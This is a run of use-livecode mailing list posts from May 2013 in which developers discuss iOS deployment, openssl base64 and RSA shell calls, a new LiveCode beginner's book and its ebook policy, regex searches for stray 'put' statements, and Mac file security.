at this stage everything is still in development mode. Any help on this would be appreciated. Nigel From monte at sweattechnologies.com Sun May 5 04:53:03 2013 From: monte at sweattechnologies.com (Monte Goulding) Date: Sun, 5 May 2013 18:53:03 +1000 Subject: Installing App on iPad In-Reply-To: References: Message-ID: <88A6C725-A7B0-4083-BA4D-C1FDB0C45956@sweattechnologies.com> On 05/05/2013, at 5:41 PM, Nigel Soden wrote: > Is there a way that I can load a LC application from my MAC to a iPad or iPhone without having to join the apple developers thingemajig. No, unfortunately not. You should be able to test in the simulator though. -- Monte Goulding M E R Goulding - software development services mergExt - There's an external for that! From th.douez at gmail.com Sun May 5 05:08:05 2013 From: th.douez at gmail.com (Thierry Douez) Date: Sun, 5 May 2013 11:08:05 +0200 Subject: feeding a private rsa key through the shell to get the public In-Reply-To: References: Message-ID: Hi, this works: on mouseUp local _code, _decode,str2code,Result_code,Result_decode put "Live is beautiful" into str2code put "echo -n " "e& str2code "e & " | openssl enc -base64" into _code put shell( _code ) into Result_code put "echo -n " "e& Result_code "e & " | openssl enc -base64 -d" into _decode put shell( _decode ) into Result_decode put "Want to encode: " & str2code &cr& \ "Result coding: " & Result_code &cr& \ "Result decoding: " & Result_decode &cr& \ "Equals?" & ( str2code is Result_decode ) end mouseUp and in the message box: Want to encode: Live is beautiful Result coding: TGl2ZSBpcyBiZWF1dGlmdWw= Result decoding: Live is beautiful Equals?true Regards, Thierry ------------------------------------------------ Thierry Douez - http://sunny-tdz.com Maker of sunnYperl - sunnYmidi - sunnYmage 2013/5/5 Dr. Hawkins > I'm successfully generating an rsa key and putting it where I needed it (a > field). > > I'm not having any luck extracting it from a shell command. > > I want to do something like > > put the shell of "echo " & fld privateKey & " | openssl rsa -pubout" > > but this yields a blank line and the private key. > > (on the command line, > cat testkey.pem | openssl rsa -pubout > > produces the public key) > > I'm trying to avoid writing a diskfile or making any assumptions about the > file system. > > -- > Dr. Richard E. Hawkins, Esq. > (702) 508-8462 > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From m.schonewille at economy-x-talk.com Sun May 5 07:26:24 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sun, 05 May 2013 13:26:24 +0200 Subject: [ANN] Book. Programming LiveCode for the Real Beginner In-Reply-To: <51854112.9040002@economy-x-talk.com> References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> Message-ID: <518641E0.2020806@economy-x-talk.com> Hi again, I've put a good quality picture of the front and back cover of my book on my blog at http://qery.us/3g1 -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/4/2013 19:10, Mark Schonewille wrote: > Hi, > > Thank you, everyone, for the nice on- and off-list wishes. I feel really > supported and am happy with the great, welcoming response. > > I sent the book to the printing company three days ago and am now > waiting for delivery. We expect to have the books in the office between > 10 and 14 May. We'll start shipping the books as soon as they arrive. I > will also try to ship books to the conference in Scotland, but it is > going to be extremely tight. > > Now that the book is ready, I can tell you a little about the last > changes I made. I removed the table of MySQL field types in the > appendix, because that isn't really the subject of the book. Instead, I > added a much longer table with all specialfolderpath codes available on > Mac OS X and Mac OS 9 (Classic). A table for Windows was included > already. I thought these tables would be more useful. I might post the > MySQL table on the website of the book later. The website hasn't been > set up yet, but will include a place to discuss the book with other > readers and I might give an explanation occasionally. > > There have been many questions about an ebook edition. There are no > plans to publish an ebook. We decided that DRM systems are insufficient. > We don't want people to get the book for free, because that would mean > there won't be a second edition, not to mention a completely new book. > Please, don't ask for an ebook anymore. For the same reason, the book > won't be released under a free license. > > If you would like to make suggestions (perhaps for a second edition), > please be specific. For example, if you propose a screenshot, tell me on > which page, accompanying which lines, why you think it is a good idea, > what it would explain, and what you would delete to make space for the > screenshot. I'm getting too many well-meant but useless suggestions. > > I can now also announce the ISBN of the book: 978-90-820741-0-9. With > this number, anyone is able to order the book at a book shop, but it is > much quicker and possibly cheaper to order it directly from > Economy-x-Talk's website. More trivia: the final version of the book has > 248 pages, three prefaces, a table of contents of 6 pages and an > alphabetical index of 9 pages. There are 17 pictures and 15 tables, some > tiny and some big. I really had to squeeze in all the info, because the > book wasn't supposed to count more than 240 pages (you get 8 pages for > free). > > Sales are going very well. The printing costs have been earned back > already, but a few other things like envelopes and stamps and the ink I > used to print my drafts still have to be paid for. Therefore, if you > know someone who considers taking up programming either as a > professional or for a hobby, tell him or her about my book. We'll need > to sell quite a few more copies to make it worth the effort. Obviously, > I'm never going to be compensated for my time, but that wasn't the point > anyway. > > I'll let you know when I have more news. > > -- > Best regards, > > Mark Schonewille > From shoreagent at gmail.com Sun May 5 09:02:36 2013 From: shoreagent at gmail.com (William Humphrey) Date: Sun, 5 May 2013 09:02:36 -0400 Subject: Storing a control in a custom property In-Reply-To: References: Message-ID: <70BF4047-21F6-4834-8522-6405E1194C6F@gmail.com> I wish that the demo of the scripted library came with a whole bunch of useful snippets for Livecode programmers. Brevity and errors in this email probably the result of being sent by a mobile device. On May 5, 2013, at 3:07 AM, "FlexibleLearning.com" wrote: > I've copied this tidbit to the Scripter's Scrapbook. > > www.ssbk.co.uk > > Hugh Senior > FLCo > > > -- Original message > Hi All, > > After reading this thread, I just keep wondering > if this particular tidbit was published before. > (and where?) > > This thread is a useful reminder (at least for me) > that I don't really know every nook and cranny of > this development platform. > > Alejandro > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pmbrig at gmail.com Sun May 5 09:23:09 2013 From: pmbrig at gmail.com (Peter M. Brigham) Date: Sun, 5 May 2013 09:23:09 -0400 Subject: Generating RSA pairs In-Reply-To: <15729363-37AB-4462-939E-34F55223F863@semperuna.com> References: <15729363-37AB-4462-939E-34F55223F863@semperuna.com> Message-ID: <72D7FBFC-F8AB-41F7-8826-25E2CAB2CACE@gmail.com> On May 2, 2013, at 7:08 PM, Igor de Oliveira Couto wrote: > There are a few well-documented ways to gather usable, unique seeds, such as: > > * getting the user to type for 10-20 seconds, randomly picking chars entered (PGP used this technique when initially generating the keys for the user) > * getting the user to move the cursor on the screen and randomly recording mouse coordinates > * parsing time-based readings - ie., getting 'the millisecons', then combining it with 'the internet time', then picking a few of the characters randomly from the resulting string > * asking the user to select 2 or 3 files in their system, and reading random bits from the files Just wading through my email, so the conversation has already moved on, but for anyone interested, here's a somewhat "more random" random number generator: function rRandom n -- returns a (more random) random number between 1 and n -- works for n up to ~ 4.29 billion put the long seconds into ss -- returns 6 digits after the decimal, ie, down to microseconds -- use the fractional part only: if "." is not in ss then -- very unlikely to hit it exactly on the full second, but just to be sure put 0 into ss else delete char 1 to offset(".",ss) of ss -- 6 digits, maybe less end if set the randomseed to ss + random(1000000) + 1000 return (random(4294967295) mod n) + 1 -- 4294967295 (= 2^32 - 1) is the largest argument permissible for random() end rRandom -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig From guglielmo at braguglia.ch Sun May 5 11:36:38 2013 From: guglielmo at braguglia.ch (Guglielmo Braguglia) Date: Sun, 05 May 2013 17:36:38 +0200 Subject: [ANN] Book. Programming LiveCode for the Real Beginner In-Reply-To: <51854112.9040002@economy-x-talk.com> References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> Message-ID: <51867C86.1080107@braguglia.ch> Mark, do you understand that in this way ... you penalize ONLY the honest users (/who would buy an eBook edition/) and, in fact, doing nothing against piracy? As soon as the book will be available, if it is really an interesting book ... for sure someone will make good quality photocopies (/... that you can't prevent/) and will produce a pdf that, within a few days, will be available on all pirates sites of the world. I have seen this happen thousands of times for any kind of book ... So, please, try to rethink to your decision ... for all of us who like eBooks ... :-) Cordially, Guglielmo Braguglia On 5/4/13 19:10 PM, Mark Schonewille wrote: > ...... > > There have been many questions about an ebook edition. *There are no > plans to publish an ebook*. We decided that DRM systems are > insufficient. We don't want people to get the book for free, because > that would mean there won't be a second edition, not to mention a > completely new book. Please, don't ask for an ebook anymore. For the > same reason, the book won't be released under a free license. > From guglielmo at braguglia.ch Sun May 5 11:44:59 2013 From: guglielmo at braguglia.ch (Guglielmo Braguglia) Date: Sun, 05 May 2013 17:44:59 +0200 Subject: [ANN] Book. Programming LiveCode for the Real Beginner In-Reply-To: <51867C86.1080107@braguglia.ch> References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <51867C86.1080107@braguglia.ch> Message-ID: <51867E7B.1090702@braguglia.ch> Opss ... sorry, obviously I mean good quality *scanning*, not photocopies ;-) Guglielmo On 5/5/13 17:36 PM, Guglielmo Braguglia wrote: > Mark, do you understand that in this way ... you penalize ONLY the > honest users (/who would buy an eBook edition/) and, in fact, doing > nothing against piracy? > > As soon as the book will be available, if it is really an interesting > book ... for sure someone will make good quality photocopies (/... > that you can't prevent/) and will produce a pdf that, within a few > days, will be available on all pirates sites of the world. I have > seen this happen thousands of times for any kind of book ... > > So, please, try to rethink to your decision ... for all of us who like > eBooks ... :-) > > Cordially, > > Guglielmo Braguglia > > > On 5/4/13 19:10 PM, Mark Schonewille wrote: >> ...... >> >> There have been many questions about an ebook edition. *There are no >> plans to publish an ebook*. We decided that DRM systems are >> insufficient. We don't want people to get the book for free, because >> that would mean there won't be a second edition, not to mention a >> completely new book. Please, don't ask for an ebook anymore. For the >> same reason, the book won't be released under a free license. >> > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From shoreagent at gmail.com Sun May 5 12:02:51 2013 From: shoreagent at gmail.com (William Humphrey) Date: Sun, 5 May 2013 12:02:51 -0400 Subject: [ANN] Book. Programming LiveCode for the Real Beginner In-Reply-To: <51867E7B.1090702@braguglia.ch> References: <5179C0E3.3090802@economy-x-talk.com> <38B60E18-D904-42AA-9AC0-A121E3ACE493@verizon.net> <517A37F5.9080007@economy-x-talk.com> <517AE994.8080803@hindu.org> <51854112.9040002@economy-x-talk.com> <51867C86.1080107@braguglia.ch> <51867E7B.1090702@braguglia.ch> Message-ID: That's true. Brevity and errors in this email probably the result of being sent by a mobile device. On May 5, 2013, at 11:44 AM, Guglielmo Braguglia wrote: > Opss ... sorry, obviously I mean good quality *scanning*, not photocopies ;-) > > Guglielmo > > > On 5/5/13 17:36 PM, Guglielmo Braguglia wrote: >> Mark, do you understand that in this way ... you penalize ONLY the honest users (/who would buy an eBook edition/) and, in fact, doing nothing against piracy? >> >> As soon as the book will be available, if it is really an interesting book ... for sure someone will make good quality photocopies (/... that you can't prevent/) and will produce a pdf that, within a few days, will be available on all pirates sites of the world. I have seen this happen thousands of times for any kind of book ... >> >> So, please, try to rethink to your decision ... for all of us who like eBooks ... :-) >> >> Cordially, >> >> Guglielmo Braguglia >> >> >> On 5/4/13 19:10 PM, Mark Schonewille wrote: >>> ...... >>> >>> There have been many questions about an ebook edition. *There are no plans to publish an ebook*. We decided that DRM systems are insufficient. We don't want people to get the book for free, because that would mean there won't be a second edition, not to mention a completely new book. Please, don't ask for an ebook anymore. For the same reason, the book won't be released under a free license. >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Sun May 5 12:10:08 2013 From: pete at lcsql.com (Peter Haworth) Date: Sun, 5 May 2013 09:10:08 -0700 Subject: Finding orphaned "put" In-Reply-To: References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> <18175644732.20130504185506@ahsoftware.net> Message-ID: Hi William, Academic at this point but I couldn't resist improving this a bit! I can make it exclude single line comments starting with "--" (or whatever you use for comment indicators) but can't think of a way to deal with block comments, or comments part way through a line. Here's the regexp for that: (?im)^(?!--)\s*put\s((?!(into|after|before|\\)).)*$ I'm not sure why it didn't work for you in LC (excluding "after" and "before") - seemed to work OK for me. I used to automatically switch off when regular expressions were mentioned because they look dauntingly cryptic. But I found that with a fairly short amount of time learning the syntax they're pretty easy to understand and amazingly powerful. Great for validating user input. Pete lcSQL Software On Sat, May 4, 2013 at 7:30 PM, william humphrey wrote: > But (?im)^\s*put\s((?!(into|after|before|\\)).)*$ -- works perfectly in > BBedit. Thank you very much (just doesn't work in live code perhaps because > I don't know how to tell livecode to use Regex in the find feature). > > On Sat, May 4, 2013 at 10:24 PM, william humphrey < > bill at bluewatermaritime.com> wrote: > > > (?im)^\s*put\s((?!(after|into|before|\\)).)*$ > > > > > > the after|into|before , guessing the vertical bar means "or" but is not > > working. It only works for whatever the first word is and then still > finds > > the next two. > > > > > > -- > http://www.bluewatermaritime.com > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jacque at hyperactivesw.com Sun May 5 13:51:55 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sun, 05 May 2013 12:51:55 -0500 Subject: Installing App on iPad In-Reply-To: References: Message-ID: <51869C3B.8040107@hyperactivesw.com> On 5/5/13 2:41 AM, Nigel Soden wrote: > Greeting > > Is there a way that I can load a LC application from my MAC to a iPad > or iPhone without having to join the apple developers thingemajig. > I've got both V5.5.3 and V6.0.1. I would like to use 6.0.1, without > also having to purchase AirLaunch which doesn't work on v6.0.1. Just to clarify, AirLaunch will not work with the community edition because it's a secured stack, but the commercial edition of LiveCode 6.x will run it fine. The catch is, nothing can overcome Apple's lock on what you can install on your iOS device. If you try to use AirLaunch without a developer account or certificate, AirLaunch will dutifully transfer your app to the device but as soon as the download is complete, Apple checks for a valid certificate. If it can't find one, iOS refuses to complete the installation. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From benr_mc at cogapp.com Fri May 3 15:48:42 2013 From: benr_mc at cogapp.com (Ben Rubinstein) Date: Fri, 03 May 2013 20:48:42 +0100 Subject: iOS: second stack in memory disrupts message flow Message-ID: <5184149A.5070406@cogapp.com> I spent a lot of time trying to debug why my stack wasn't getting a 'shutdown' message when it was backgrounded. Eventually I found that the issue related to the fact that my main stack has opened a preferences stack, invisibly, in the background. The preferences stack is just a carrier for some data - it's created on the fly the first time the app launches, subsequently opened from documents folder: in either case this occurs inside a push cd/pop cd pair. Because the prefs stack exists, it receives the 'shutdown' message instead of the main stack. The main stack is definitely the top stack - I can interact with it and so on, and I've belt-and-braces tacked on a "toplevel this stack" after loading the prefs stack too. Indeed when I added a shutdown message catcher in the prefs stack, and had it log "the topstack" that was my main stack, while "the defaultStack" was the prefs stack. But then it would be, in the context of a handler in its stack script. Finally I found the notice in the dictionary for "shutdown": > In standalones, some care is needed to ensure you receive the shutdown message if your application uses multiple stacks. The most reliable approach is to install a library stack or backscript to handle the message when your application starts up. ... so I did just that and went on my way. Then I started trying to do something with the "keyboardActivated" message in a card of my mainstack, and found that this message too was being sent to the first card of prefs stack instead of to the card that deserved it. Again I can catch it in my backscript: and that handler in the backscript reports both "the target" and "the current card" reference the first card of the prefs stack, rather than the card. Is this known behaviour, or am I doing something else weird? Is there any possibility that this behaviour is anything other than a bug? Is there a way to manipulate it so that the messages go where they should? thanks, Ben From admin at FlexibleLearning.com Sun May 5 16:32:30 2013 From: admin at FlexibleLearning.com (FlexibleLearning.com) Date: Sun, 5 May 2013 21:32:30 +0100 Subject: Storing a control in a custom property In-Reply-To: Message-ID: The Scripter's Scrapbook download is indeed a 'starter-kit', but it does include a lot of LC/Rev snippets. Hugh Senior FLCo -- Original message From: William Humphrey To: How to use LiveCode Subject: Re: Storing a control in a custom property I wish that the demo of the scripted library came with a whole bunch of useful snippets for Livecode programmers. Brevity and errors in this email probably the result of being sent by a mobile device. On May 5, 2013, at 3:07 AM, "FlexibleLearning.com" wrote: > I've copied this tidbit to the Scripter's Scrapbook. > > www.ssbk.co.uk > > Hugh Senior > FLCo > From shawnlivecode at gmail.com Sun May 5 17:08:02 2013 From: shawnlivecode at gmail.com (Shawn Blc) Date: Sun, 5 May 2013 16:08:02 -0500 Subject: Can a radio button be multi-line or wrapped? Message-ID: Can a radio button be multi-line or wrapped? From iowahengst at mac.com Sun May 5 17:16:24 2013 From: iowahengst at mac.com (Randy Hengst) Date: Sun, 05 May 2013 16:16:24 -0500 Subject: Can a radio button be multi-line or wrapped? In-Reply-To: References: Message-ID: <8306ED2D-AE36-45A8-9D56-0D31B9A015A1@mac.com> Yes?. in the message box type: set the label of button "RadioDemo" to "this is one" & return & "long button label" be well, randy ----- On May 5, 2013, at 4:08 PM, Shawn Blc wrote: > Can a radio button be multi-line or wrapped? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From alex at tweedly.net Sun May 5 19:23:57 2013 From: alex at tweedly.net (Alex Tweedly) Date: Mon, 06 May 2013 00:23:57 +0100 Subject: Mobile (Android) orientations In-Reply-To: <871d021f299f4c177be59648e8e3146b.squirrel@var.on-rev.com> References: <5182EFE0.205@tweedly.net> <871d021f299f4c177be59648e8e3146b.squirrel@var.on-rev.com> Message-ID: <5186EA0D.1090606@tweedly.net> Hmmm - this message has been sitting in my outbound mail queue for 2 or 3 days - sorry for the late reply. Thanks Neil (and everyone else who replied). This has been a great help. Monte's right - this would be a great example for a community effort (if his efforts on the engine forum don't lead to a better solution). -- Alex. On 03/05/2013 10:36, neil at runrev.com wrote: > Hi Alex, > > I believe the issue you are experiencing is due to the way the kindle fire > handles it orientations. > > To rectify this, you will need to create a config file that informs your > application of the correct orientations. More information on this can be > found on page 28 of the Android Release notes under "Device Specific > Orientations" > > Kind Regards, > > Neil Roger > -- > RunRev Support Team ~ http://www.runrev.com > > -- > > > >> I'm just starting to play with Mobile builds - so this could be the >> first of a series of dumb questions :-) >> >> I build a stack (one button, one field, no script at all), and build for >> Android (following the instructions from Colin's book). >> The "Initial orientation" is set to "portrait". >> I can't get any Virtual Devices to run - but I can download and test on >> my Kindle Fire. >> >> - builds, loads and runs (i.e. does nothing :-) OK >> Rotating the device does nothing (i.e. the button/field) remain fixed >> relative to the device, and hence they also become sideways / >> upside-down / sideways again / OK again. >> >> >> If I then add >> on preopencard >> mobileSetAllowedOrientations "portrait,portrait upside >> down,landscape left,landscape right" >> end preopencard >> >> to the card script, then rotating the device causes the button/field to >> re-orient themselves relative to the device, i.e. so that they are in >> constant "proper" orientation. BUT - in landscape mode, the button/field >> are upside down ! They're OK (i.e. right way up) in portrait and >> "portrait upside down" states, but in landscape the controls (and the >> status bar which shows the Kindle name + time + wifi/battery status) are >> upside down. >> >> What should I do ? >> Could someone donate a working, multi-orientation stack so I can test it >> (just in case it's something about Kindle Fire, or even some specific >> fault with my particular Kindle Fire device) ? >> >> Thanks for any suggestions ... >> -- Alex. >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From alex at tweedly.net Sun May 5 19:53:57 2013 From: alex at tweedly.net (Alex Tweedly) Date: Mon, 06 May 2013 00:53:57 +0100 Subject: Finding orphaned "put" In-Reply-To: <18175644732.20130504185506@ahsoftware.net> References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> <18175644732.20130504185506@ahsoftware.net> Message-ID: <5186F115.4000000@tweedly.net> I agree it's not been hyped (or praised) as much as it deserves. But, it's also not as good as it should have been :-( Having had the great idea of keeping this info, someone should have said "let's keep that info for *every* line (actually, every section) of output in the msg box" and then have the "target" button take you to the line number in the script for any specified line. (And in fact, why not keep the whole executioncontexts, and the millisecs, for every bit of output with some way to access it all when needed ??) I personally don't use it (yet?), because I *never* use orphaned "put"s, I always use my own library handler(s) that gather output, show it in the msg box or log it in a file or show it in a field or discard it .... depending on the environment and on my own settings. Upgrading my handlers to include some or all of the executioncontexts info is definitely on my to-do list .... ... and tidying up these handlers to the point I could release them somewhere is too, but somewhat lower in priority). -- Alex. On 05/05/2013 02:55, Mark Wieder wrote: > Jerry- > > Saturday, May 4, 2013, 6:40:52 PM, you wrote: > >> SWEET! That got me to download 6. > It's a very cool feature, and one that I don't think has been hyped > enough. > From pmbrig at gmail.com Sun May 5 21:40:35 2013 From: pmbrig at gmail.com (Peter M. Brigham) Date: Sun, 5 May 2013 21:40:35 -0400 Subject: Cheapjack development for Windows In-Reply-To: <51841FC3.8020906@hyperactivesw.com> References: <51821F3E.3000404@gmail.com> <518355C1.6030304@gmail.com> <6D103364-3751-440F-9A82-6D860621AACF@paulmaguire.me> <518392AB.2070200@gmail.com> <7FC9145C-4701-462F-B7D1-48297E12C024@paulmaguire.me> <51841FC3.8020906@hyperactivesw.com> Message-ID: <90A4482C-10D0-4D28-86F7-14E3A8A84B28@gmail.com> On May 3, 2013, at 4:36 PM, J. Landman Gay wrote: > Richmond, cheer up, or as Monte Python says, we'll hang you by the neck until you do. Company-Wide Notice: The floggings will continue until morale improves. -- Peter Peter M. Brigham pmbrig at gmail.com http://home.comcast.net/~pmbrig From gandalf at doctorTimothyMiller.com Mon May 6 02:29:23 2013 From: gandalf at doctorTimothyMiller.com (Timothy Miller) Date: Sun, 5 May 2013 23:29:23 -0700 Subject: [OT] Security for stacks with Community version Message-ID: Years ago, when I first wrote my "rolodex" stack, I intended to store phone numbers, addresses, passwords, credit card numbers, bank account numbers, and other useful information in one convenient place, one stack in a suite of stacks I use in my day to day business. If these fell into the wrong hands, any small time crook could completely take over my identity and the identities of others. I was also concerned about security if I needed to get the machine serviced. At the time, Macs secured by log-in password only, weren't very secure, as I recall. For example, if you restarted the machine with command-T down, and connected to another machine by Firewire, you could use the first machine as if it were an external hard disk. In that case, the log-in password gave you no protection. FileVault did not exist at the time. So, with Jacque's help, I set up an encryption system for my "rolodex" stack. If a given card was security sensitive, I'd click on a button, enter the password, and certain fields were hashed and hidden. Click on the same button, enter the same password, the fields were un-hashed and un-hidden. Because the stack was password-protected, you couldn't peek at the button script to find out the key for hashing and un-hashing the fields. "Set the password of this stack to foo" didn't work unless you first un-protected the stack, which required the master password for the stack. There were other details, but that's the general idea. It wasn't perfect, but I was satisfied with it. As I recall, a tech-savvy person could, in theory, use a text editor to discover the master password for the stack. Now, I'm switching to LiveCode Community 6.0.1, so I have to re-think security for this stack. One possibility is to re-write the script for the hash-and-hide button, using the encrypt and decrypt commands. If I choose that route, I'll probably have to pay a consultant. I can actually do Chinese arithmetic, but that's easy compared to the documentation for those commands. It also occurred to me that I could just enable FileVault -- hadn't used it before. Now that I've tried FileVault, I've realized how little I understand about the topic of security for modern Mac machines and OS. Hence, the following questions: 1-If my machine is lost or stolen, while shut down, how hard would it be to get past the log-in password, to my relatively insecure "rolodex" stack? How does one get past the log-in password? (for this question and the next two, assume FileVault is turned off.) 2-If I set up an administrator account for technicians, with a different log-in password, how hard would it be for the technician to get past the log-in password for my user account? 3-In recent versions of the OS, does my log-in password protect the hard disk when it's removed from my machine? How hard is it to defeat that protection? 4-Given that you can't use my machine to launch a nuclear missile, do I really need the ultra-secure protection provided by FileVault? BTW, if this stack ever leaves my machine, for the cloud or a USB thumb drive, for instance, I always encrypt it first, usually with StuffIt Deluxe. Thanks in advance, Tim Miller From me at paulmaguire.me Mon May 6 07:33:49 2013 From: me at paulmaguire.me (Paul Maguire) Date: Mon, 6 May 2013 12:33:49 +0100 Subject: Finding orphaned "put" In-Reply-To: <5186F115.4000000@tweedly.net> References: <5185849C.4030508@tweedly.net> <90869FE1-E1CE-4A3C-B9D4-D02155264F7B@jhj.com> <18175644732.20130504185506@ahsoftware.net> <5186F115.4000000@tweedly.net> Message-ID: <31978B86-E263-45AB-873B-4B20E65319F7@paulmaguire.me> This was a good thread - ta! My simple question is - does putting stuff slowdown runtime performance? In my first bit of iOS/Android development I'm putting stuff all the time and checking it in Console to help debug... Kind regards, Paul. From lc at pbh.on-rev.com Mon May 6 09:58:12 2013 From: lc at pbh.on-rev.com (Paul Hibbert) Date: Mon, 6 May 2013 06:58:12 -0700 Subject: [OT] Security for stacks with Community version In-Reply-To: References: Message-ID: <1A86CBAD-6EB9-459E-A7F0-DA203F41516B@pbh.on-rev.com> Tim, I came across a topic on stack exchange that you may be interested in? http://security.stackexchange.com/questions/18720/how-secure-is-filevault-2-while-the-computer-is-in-sleep-mode There is a link to Apple's white paper on FileVault 2, this may help answer some of your concerns, but you should also be aware of software from here? http://www.lostpassword.com It seems if you have $995 to spare you can access almost any password protected file or volume, so they say. In the end, only you can decide how physically vulnerable your machine is, but to me at least, it does appear that FileVault could be more secure than a just password protected stack, however I'm no expert on file security. HTH Paul On 2013-05-05, at 11:29 PM, Timothy Miller wrote: > Years ago, when I first wrote my "rolodex" stack, I intended to store phone numbers, addresses, passwords, credit card numbers, bank account numbers, and other useful information in one convenient place, one stack in a suite of stacks I use in my day to day business. If these fell into the wrong hands, any small time crook could completely take over my identity and the identities of others. I was also concerned about security if I needed to get the machine serviced. > > At the time, Macs secured by log-in password only, weren't very secure, as I recall. For example, if you restarted the machine with command-T down, and connected to another machine by Firewire, you could use the first machine as if it were an external hard disk. In that case, the log-in password gave you no protection. FileVault did not exist at the time. > > So, with Jacque's help, I set up an encryption system for my "rolodex" stack. If a given card was security sensitive, I'd click on a button, enter the password, and certain fields were hashed and hidden. Click on the same button, enter the same password, the fields were un-hashed and un-hidden. Because the stack was password-protected, you couldn't peek at the button script to find out the key for hashing and un-hashing the fields. "Set the password of this stack to foo" didn't work unless you first un-protected the stack, which required the master password for the stack. There were other details, but that's the general idea. It wasn't perfect, but I was satisfied with it. As I recall, a tech-savvy person could, in theory, use a text editor to discover the master password for the stack. > > Now, I'm switching to LiveCode Community 6.0.1, so I have to re-think security for this stack. > > One possibility is to re-write the script for the hash-and-hide button, using the encrypt and decrypt commands. If I choose that route, I'll probably have to pay a consultant. I can actually do Chinese arithmetic, but that's easy compared to the documentation for those commands. > > It also occurred to me that I could just enable FileVault -- hadn't used it before. > > Now that I've tried FileVault, I've realized how little I understand about the topic of security for modern Mac machines and OS. Hence, the following questions: > > 1-If my machine is lost or stolen, while shut down, how hard would it be to get past the log-in password, to my relatively insecure "rolodex" stack? How does one get past the log-in password? (for this question and the next two, assume FileVault is turned off.) > > 2-If I set up an administrator account for technicians, with a different log-in password, how hard would it be for the technician to get past the log-in password for my user account? > > 3-In recent versions of the OS, does my log-in password protect the hard disk when it's removed from my machine? How hard is it to defeat that protection? > > 4-Given that you can't use my machine to launch a nuclear missile, do I really need the ultra-secure protection provided by FileVault? > > BTW, if this stack ever leaves my machine, for the cloud or a USB thumb drive, for instance, I always encrypt it first, usually with StuffIt Deluxe. > > > Thanks in advance, > > > Tim Miller > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From andre at andregarzia.com Mon May 6 10:36:59 2013 From: andre at andregarzia.com (Andre Garzia) Date: Mon, 6 May 2013 11:36:59 -0300 Subject: [ANN] simple publisher/subscriber library for LiveCode Message-ID: Hey Folks, I just released a tiny library I am using here in some projects. It is a publisher/subscriber implementation (aka the observer pattern). Its a really small library and one could clone it in five minutes but the work is already done, it is public domain and unlocked. I am also testing a new site implementation so bear with me while my site resumes working correctly. Not all content is back up yet. Please, I appreciate feedback on the new site (even as the content is not complete yet). The new site is responsive so you can open it on your tablet or mobile phone and it should just work. http://www.andregarzia.com/posts/en/pubsub/ Cheers Andre "I hope the site stays up" Garzia -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From andrew at ctech.me Mon May 6 10:39:11 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Mon, 6 May 2013 09:39:11 -0500 Subject: [OT] Security for stacks with Community version In-Reply-To: <1A86CBAD-6EB9-459E-A7F0-DA203F41516B@pbh.on-rev.com> References: <1A86CBAD-6EB9-459E-A7F0-DA203F41516B@pbh.on-rev.com> Message-ID: Was it not mentioned long ago that a password protected stack's script and custom properties could be accessed in memory while it is running in a stand alone? So your data was probably never as secure as you really thought it was. As for the documentation on those encrypt/decrypt commands, they seem pretty straight forward. There are some more complicated things you can do with them if you like but at their simplest they work like this. get "bla" encrypt it using "blowfish" with "1234567" put it encrypt sVarToEncrypt using "ciphername" with "password" decrypt sVarToDecrypt using "ciphername" with "password" On Mon, May 6, 2013 at 8:58 